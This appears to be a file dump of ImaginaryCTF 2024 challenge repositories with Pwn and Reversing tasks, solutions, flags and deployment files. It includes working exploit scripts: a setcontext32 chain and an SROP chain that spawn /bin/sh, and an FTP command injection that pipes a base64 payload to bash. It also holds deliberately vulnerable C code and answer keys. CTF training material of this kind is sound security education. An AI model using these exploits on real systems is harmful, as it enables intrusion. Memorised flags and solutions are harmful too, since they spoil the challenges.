13 | 14 | ## Distribution: 15 | - ictf-band. 16 | - libc.so.6 17 | - loader. 18 | 19 | # Solution: 20 | - solve.py 21 | -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: ictf-band 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/ictf-band-challenge:8da4817c2c6103b08b295b0cadf8eca2d5a489d32063b193c4eeb57c7d30d540 13 | -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM debian:latest as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY assets/ictf-band /home/user/chal 19 | COPY assets/libc.so.6 /home/user/libc.so.6 20 | COPY assets/ld-linux-x86-64.so.2 /home/user/ld-linux-x86-64.so.2 21 | COPY assets/flag.txt /home/user/flag.txt 22 | COPY nsjail.cfg /home/user/nsjail.cfg 23 | RUN chmod 555 /home/user/* 24 | 25 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 26 | 27 | COPY --from=chroot / /chroot 28 | 29 | COPY nsjail.cfg /home/user/ 30 | 31 | CMD kctf_setup && \ 32 | kctf_drop_privs \ 33 | socat \ 34 | TCP-LISTEN:1337,reuseaddr,fork \ 35 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 36 | -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/assets/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{F0rg3t_t0_pUt_c4N4r1y_pr0T3ction5} -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/assets/ictf-band: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/assets/ictf-band -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/assets/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/assets/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/assets/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/assets/libc.so.6 -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/public/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/public/ictf-band: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/public/ictf-band -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/public/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/public/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /Pwn/ictf-band/challenge/public/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/public/libc.so.6 -------------------------------------------------------------------------------- /Pwn/imgstore/README.md: -------------------------------------------------------------------------------- 1 | # imgstore 2 | **Category:** Pwn 3 | **Difficulty:** Easy 4 | **Author:** Brandy 5 | 6 | ## Description 7 | 8 | Back to the old school. 9 | 10 | ## Distribution 11 | 12 | - libc.so.6 13 | - loader. 14 | - imgstore. 15 | - nc. 16 | 17 | ## Solution 18 | 19 | Using FSB to bypass PIE, canary, and ASLR then overwrite local and global variable to zero to bypass value check. Then perform ret2libc to gain RCE. 20 | -------------------------------------------------------------------------------- /Pwn/imgstore/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: imgstore 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/imgstore-challenge:9936ae5a822904fbcb51558fd1bb96acb848dc329c4b464a2175afba2d0d7445 13 | -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM debian:latest as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY assets/imgstore /home/user/imgstore 19 | COPY assets/libc.so.6 /home/user/libc.so.6 20 | COPY assets/ld-linux-x86-64.so.2 /home/user/ld-linux-x86-64.so.2 21 | COPY assets/flag.txt /home/user/flag.txt 22 | COPY nsjail.cfg /home/user/nsjail.cfg 23 | RUN chmod 555 /home/user/* 24 | 25 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 26 | 27 | COPY --from=chroot / /chroot 28 | 29 | COPY nsjail.cfg /home/user/ 30 | 31 | VOLUME /tmp 32 | 33 | CMD kctf_setup && \ 34 | kctf_drop_privs \ 35 | socat \ 36 | TCP-LISTEN:1337,reuseaddr,fork \ 37 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/imgstore" 38 | -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/assets/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{b4byy_f3rM4T_5Tr1nn66S} -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/assets/imgstore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/assets/imgstore -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/assets/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/assets/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/assets/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/assets/libc.so.6 -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/public/imgstore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/public/imgstore -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/public/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/public/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /Pwn/imgstore/challenge/public/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/public/libc.so.6 -------------------------------------------------------------------------------- /Pwn/nsftpd/README.md: -------------------------------------------------------------------------------- 1 | # nsftpd 2 | **Category:** Pwn 3 | **Difficulty:** Easy 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | Not Secure File Transfer Protocol Daemon 9 | All credit to https://github.com/thinxer/ftp_project 10 | 11 | ## Distribution 12 | 13 | - `ftpd` 14 | - https://klodd.imaginaryctf.org/challenge/nsftpd 15 | 16 | ## Solution 17 | 18 | There is a command injection in the LIST command (https://github.com/thinxer/ftp_project/blob/master/ftpd/ftp_session.c#L68). Create a directory called `|/getflag`, change directories into it, and run LIST to get the flag. 19 | -------------------------------------------------------------------------------- /Pwn/nsftpd/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN /usr/sbin/useradd -u 1000 user 4 | 5 | COPY flag.txt / 6 | RUN chmod 000 /flag.txt 7 | 8 | COPY getflag / 9 | RUN chown root:root /getflag 10 | RUN chmod 755 /getflag 11 | RUN chmod +s /getflag 12 | 13 | COPY ./ftp_project/ftpd/ftpd /home/user/ftpd 14 | RUN chmod +x /home/user/ftpd 15 | RUN chmod 777 /home/user/ 16 | 17 | EXPOSE 1337 18 | WORKDIR /home/user/ 19 | USER user 20 | 21 | CMD ["./ftpd", "1337"] 22 | -------------------------------------------------------------------------------- /Pwn/nsftpd/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{we_love_random_2009_github_projects!} 2 | -------------------------------------------------------------------------------- /Pwn/nsftpd/challenge/ftpd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/nsftpd/challenge/ftpd -------------------------------------------------------------------------------- /Pwn/nsftpd/challenge/getflag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/nsftpd/challenge/getflag -------------------------------------------------------------------------------- /Pwn/nsftpd/challenge/getflag.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | char buf[0x100]; 6 | gid_t uid = geteuid(); 7 | setresuid(uid, uid, uid); 8 | int fd = open("/flag.txt", 0); 9 | read(fd, buf, 0x100); 10 | puts(buf); 11 | } 12 | -------------------------------------------------------------------------------- /Pwn/nsftpd/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #conn = remote("localhost", 1337) 4 | conn = remote('nsftpd-e7458576c4110b20.d.imaginaryctf.org', 8443, ssl=True) 5 | 6 | # listen on an external server 7 | conn.sendline(b"PORT 192,9,137,137,164,58") 8 | conn.sendline(b"MKD |echo L2dldGZsYWc=|base64 -d|bash") 9 | conn.sendline(b"CWD |echo L2dldGZsYWc=|base64 -d|bash") 10 | conn.sendline(b"LIST") 11 | 12 | conn.interactive() 13 | -------------------------------------------------------------------------------- /Pwn/onewrite/README.md: -------------------------------------------------------------------------------- 1 | # onewrite 2 | **Category:** Pwn 3 | **Difficulty:** Easy 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | One write to rule them all, one write to—never mind. 9 | 10 | ## Distribution 11 | 12 | - `vuln` 13 | - `libc.so.6` 14 | - nc 15 | 16 | ## Solution 17 | 18 | - solve.py 19 | -------------------------------------------------------------------------------- /Pwn/onewrite/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: onewrite 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/onewrite-challenge:af2a15bf24e18a14c54e340cbb9219d070005668e6628bc21d629cc92fcfa916 13 | -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY flag.txt /home/user/flag.txt 19 | COPY vuln /home/user/chal 20 | RUN chmod 555 /home/user/chal 21 | 22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 23 | 24 | COPY --from=chroot / /chroot 25 | 26 | COPY nsjail.cfg /home/user/ 27 | 28 | CMD kctf_setup && \ 29 | kctf_drop_privs \ 30 | socat \ 31 | TCP-LISTEN:1337,reuseaddr,fork \ 32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 33 | -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc vuln.c -o vuln 3 | -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/__pycache__/setcontext32.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/onewrite/challenge/__pycache__/setcontext32.cpython-310.pyc -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{pls_dont_take_my_setcontext32_away} 2 | -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/onewrite/challenge/libc.so.6 -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/setcontext32.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | def create_ucontext( 4 | src: int, 5 | rsp=0, 6 | rbx=0, 7 | rbp=0, 8 | r12=0, 9 | r13=0, 10 | r14=0, 11 | r15=0, 12 | rsi=0, 13 | rdi=0, 14 | rcx=0, 15 | r8=0, 16 | r9=0, 17 | rdx=0, 18 | rip=0xDEADBEEF, 19 | ) -> bytearray: 20 | b = bytearray(0x200) 21 | b[0xE0:0xE8] = p64(src) # fldenv ptr 22 | b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr 23 | 24 | b[0xA0:0xA8] = p64(rsp) 25 | b[0x80:0x88] = p64(rbx) 26 | b[0x78:0x80] = p64(rbp) 27 | b[0x48:0x50] = p64(r12) 28 | b[0x50:0x58] = p64(r13) 29 | b[0x58:0x60] = p64(r14) 30 | b[0x60:0x68] = p64(r15) 31 | 32 | b[0xA8:0xB0] = p64(rip) # ret ptr 33 | b[0x70:0x78] = p64(rsi) 34 | b[0x68:0x70] = p64(rdi) 35 | b[0x98:0xA0] = p64(rcx) 36 | b[0x28:0x30] = p64(r8) 37 | b[0x30:0x38] = p64(r9) 38 | b[0x88:0x90] = p64(rdx) 39 | 40 | return b 41 | 42 | def setcontext32(libc: ELF, **kwargs) -> (int, bytes): 43 | got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") 44 | plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr 45 | return got, flat( 46 | p64(0), 47 | p64(got + 0x218), 48 | p64(libc.symbols["setcontext"] + 32), 49 | p64(plt_trampoline) * 0x40, 50 | create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs), 51 | ) 52 | 53 | -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from setcontext32 import * 3 | 4 | context.binary = elf = ELF("./vuln") 5 | libc = ELF("./libc.so.6") 6 | #conn = elf.process() 7 | conn = remote("34.34.46.244", 1337) 8 | 9 | conn.recvuntil(b"0x") 10 | libc.address = int(conn.recv(12), 16) - libc.sym.printf 11 | info("libc @ " + hex(libc.address)) 12 | 13 | dest, pl = setcontext32( 14 | libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__() 15 | ) 16 | 17 | conn.sendline(hex(dest).encode()) 18 | conn.sendline(pl) 19 | 20 | conn.interactive() 21 | -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/onewrite/challenge/vuln -------------------------------------------------------------------------------- /Pwn/onewrite/challenge/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() { 5 | char *buf; 6 | setbuf(stdin, NULL); 7 | setbuf(stdout, NULL); 8 | printf("%p\n> ", printf); 9 | scanf("%p%*c", &buf); 10 | fgets(buf, 0x300, stdin); 11 | puts("bye"); 12 | } 13 | 14 | -------------------------------------------------------------------------------- /Pwn/ropity/README.md: -------------------------------------------------------------------------------- 1 | # ropity 2 | **Category:** Pwn 3 | **Difficulty:** Easy 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | Just your typical ROP challenge 9 | 10 | ## Distribution 11 | 12 | - `vuln` 13 | - nc 14 | 15 | ## Solution 16 | 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Pwn/ropity/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: ropity 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/ropity-challenge:314de23f377093886b222061eb9363a49ed1f63f99be5022d1107dc04685f8af 13 | -------------------------------------------------------------------------------- /Pwn/ropity/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY flag.txt /home/user/flag.txt 19 | COPY flag2.txt /home/user/4a96aa432513aad8.txt 20 | COPY vuln /home/user/chal 21 | RUN chmod 555 /home/user/chal 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 34 | -------------------------------------------------------------------------------- /Pwn/ropity/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc vuln.c -o vuln -fno-stack-protector -no-pie -masm=intel 3 | -------------------------------------------------------------------------------- /Pwn/ropity/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{pop_rdi_L} -------------------------------------------------------------------------------- /Pwn/ropity/challenge/flag2.txt: -------------------------------------------------------------------------------- 1 | ictf{why_control_one_register_when_you_can_control_them_all} 2 | -------------------------------------------------------------------------------- /Pwn/ropity/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.binary = elf = ELF("./vuln") 4 | #conn = elf.process() 5 | #gdb.attach(conn) 6 | conn = remote("34.32.138.15", 1337) 7 | rop = ROP(elf) 8 | 9 | payload = b"a"*8 10 | payload += p64(0x404018 + 0x8) # fgets got 11 | payload += p64(0x401142) 12 | conn.sendline(payload) 13 | 14 | frame = SigreturnFrame() 15 | frame.rax = 59 16 | frame.rip = 0x401198 17 | frame.rdi = 0x404048 + 160 18 | frame.rsi = 0 19 | frame.rdx = 0 20 | frame.rsp = u64(b"/bin/sh\0") 21 | 22 | payload = b"" 23 | payload += p64(elf.sym.printfile) # goes into fgets got 24 | payload += p64(0x404038) # flag.txt 25 | payload += p64(0x401142) 26 | payload += b"flag.txt" 27 | payload += p64(0) 28 | payload += p64(0x401198) # syscall 29 | payload += bytes(frame) 30 | conn.sendline(payload) 31 | 32 | conn.interactive() 33 | -------------------------------------------------------------------------------- /Pwn/ropity/challenge/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ropity/challenge/vuln -------------------------------------------------------------------------------- /Pwn/ropity/challenge/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() { 5 | char buf[8]; 6 | fgets(buf, 0x100, stdin); 7 | } 8 | 9 | void printfile(char*file) { 10 | __asm__( 11 | ".intel_syntax noprefix\n" 12 | "mov rax, 2\n" 13 | "mov rsi, 0\n" 14 | "syscall\n" 15 | "mov rsi, rax\n" 16 | "mov rdi, 1\n" 17 | "mov rdx, 0\n" 18 | "mov r8, 0x100\n" 19 | "mov rax, 40\n" 20 | "syscall\n" 21 | ); 22 | } 23 | -------------------------------------------------------------------------------- /Reversing/Absolute Flag Checker/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{that_is_a_lot_of_equations_n2u1iye21azl21} -------------------------------------------------------------------------------- /Reversing/Absolute Flag Checker/readme.md: -------------------------------------------------------------------------------- 1 | # Absolute Flag Checker 2 | **Category:** Rev 3 | **Difficulty:** Medium-Hard 4 | **Author:** Minerva. 5 | 6 | ## Description 7 | What's easier way than verifying flag contents more times than required? 8 | 9 | ## Distribution 10 | 11 | - `togive/absolute flag checker.exe` 12 | 13 | ## Solution 14 | The hardcoded condition checks are a system of linear equations, made without using arrays/vectors to make reversing annoying. The linear equation is of the form AX=B, where X is the flag vector. Using linear algebra, find X by using X = (A^-1)B. 15 | -------------------------------------------------------------------------------- /Reversing/Absolute Flag Checker/src/generate equations.cpp: -------------------------------------------------------------------------------- 1 | #include"stdio.h" 2 | #include"stdlib.h" 3 | #include"string.h" 4 | 5 | int main() 6 | { 7 | // Flag vector 8 | char flag[]="ictf{that_is_a_lot_of_equations_n2u1iye21azl21}"; 9 | srand(0xad122193); 10 | // Generate the matrix 11 | unsigned long int ans = 0; 12 | for(int i=0;i<]` (They cause the infinite loop) and then use an online bf compiler and give input "i" Let it run and then give "a" (assuming you don't know the next character). You will see that the value currently is "254". You need it to be zero so add ascii value of "a" + 2 and you get "c", which is the right character! Continue doing this. (I don't exactly know how to get rid of the unintended solution. If you do, please send me a message on discord :D) 15 | 16 | -------------------------------------------------------------------------------- /Reversing/bf/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{1_h4t3_3s0l4ng5_7d4f3a1b} 2 | -------------------------------------------------------------------------------- /Reversing/bf/challenge/generate.py: -------------------------------------------------------------------------------- 1 | import random 2 | import sympy 3 | 4 | flag="ictf{1_h4t3_3s0l4ng5_7d4f3a1b}" 5 | 6 | code="" 7 | equations=[] 8 | for i in flag: 9 | rand=random.randint(30,70) 10 | while sympy.isprime(rand): 11 | rand=random.randint(30,70) 12 | RHS = eval(f"ord(i)+{rand}") 13 | equations.append(f"{ord(i)}+{rand}={RHS}") 14 | factors = sympy.divisors(rand) 15 | best_factors=[factors[int(len(factors)/2)]] 16 | best_factors.append(int(rand/best_factors[0])) 17 | fac1=best_factors[0] 18 | fac2=best_factors[1] 19 | assert fac1*fac2==rand 20 | code += f",>>{'+'*fac1}[<{'+'*fac2}>-]<[-<+>]<{'-'*RHS}[><]" 21 | 22 | print(code) 23 | -------------------------------------------------------------------------------- /Reversing/oh_a_camel/README.md: -------------------------------------------------------------------------------- 1 | # Oh, a Camel! 2 | **Category:** Reversing 3 | **Difficulty:** Medium/Hard 4 | **Author:** lodsb 5 | 6 | ## Description 7 | 8 | While exploring twisted corridors of an ancient pyramid, you find a weird scroll with a camel drawn on it. You pick it up, but don't have too much time to inspect it... 9 | 10 | ## Distribution 11 | 12 | - output/main.exe 13 | 14 | ## Solution 15 | 16 | Don't reverse the whole thing, realize that the most important part is `camlDune__exe__Main__is_position_legal_84` which checks whether given tile is a wall or not. Dump the whole maze (either by reading the values from the buffer or by using dynamic instrumentation to repeatedly call the function with different coordinates as arguments) and run DFS or BFS to solve it. Send the path to program's stdin and read the flag. 17 | -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | Dockerfile.ocaml 2 | Dockerfile.opam -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ocaml/opam:debian-10-ocaml-4.13 AS builder 2 | 3 | USER root 4 | RUN apt update -y && apt install -y python3 python3-venv libgmp-dev pkg-config zlib1g-dev 5 | RUN opam install cryptokit 6 | 7 | WORKDIR /output 8 | COPY src . 9 | RUN chmod +x preprocess.sh 10 | RUN python3 -m venv venv 11 | RUN . venv/bin/activate && pip install -U pip && pip install pycryptodome && python3 generate.py 12 | RUN opam exec -- dune build 13 | 14 | RUN cp _build/default/bin/main.exe . 15 | 16 | FROM scratch AS output 17 | 18 | WORKDIR output 19 | 20 | COPY --from=builder /output/main.exe . -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build --output=. --target=output . -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/output/main.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/oh_a_camel/challenge/output/main.exe -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/solve/.gitignore: -------------------------------------------------------------------------------- 1 | _agent.js 2 | node_modules -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "frida", 3 | "version": "1.0.0", 4 | "description": "", 5 | "private": true, 6 | "main": "index.ts", 7 | "scripts": { 8 | "prepare": "npm run build", 9 | "build": "frida-compile index.ts -o _agent.js -c", 10 | "watch": "frida-compile index.ts -o _agent.js -w", 11 | "solve": "frida -l index.ts ../output/main.exe" 12 | }, 13 | "devDependencies": { 14 | "@types/frida-gum": "^18.5.1", 15 | "@types/node": "^18.19.3", 16 | "frida-compile": "^16.4.1" 17 | } 18 | } -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "lib": ["es2020"], 5 | "allowJs": true, 6 | "noEmit": true, 7 | "strict": true, 8 | "esModuleInterop": true 9 | } 10 | } -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/.dockerignore: -------------------------------------------------------------------------------- 1 | _build 2 | flag.enc.txt 3 | maze.txt -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/.gitignore: -------------------------------------------------------------------------------- 1 | _build 2 | flag.enc.txt 3 | maze.txt -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/bin/dune: -------------------------------------------------------------------------------- 1 | (executable 2 | (public_name oh_a_camel) 3 | (name main) 4 | (libraries oh_a_camel cryptokit) 5 | (preprocessor_deps (file "../maze.txt") (file "../flag.enc.txt") (file "../preprocess.sh")) 6 | (preprocess (action (system "./preprocess.sh")))) 7 | -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/dune-project: -------------------------------------------------------------------------------- 1 | (lang dune 3.16) 2 | 3 | (name oh_a_camel) 4 | 5 | (generate_opam_files true) 6 | 7 | (source 8 | (github username/reponame)) 9 | 10 | (authors "Author Name") 11 | 12 | (maintainers "Maintainer Name") 13 | 14 | (license LICENSE) 15 | 16 | (documentation https://url/to/documentation) 17 | 18 | (package 19 | (name oh_a_camel) 20 | (synopsis "A short synopsis") 21 | (description "A longer description") 22 | (depends ocaml dune cryptokit) 23 | (tags 24 | (topics "to 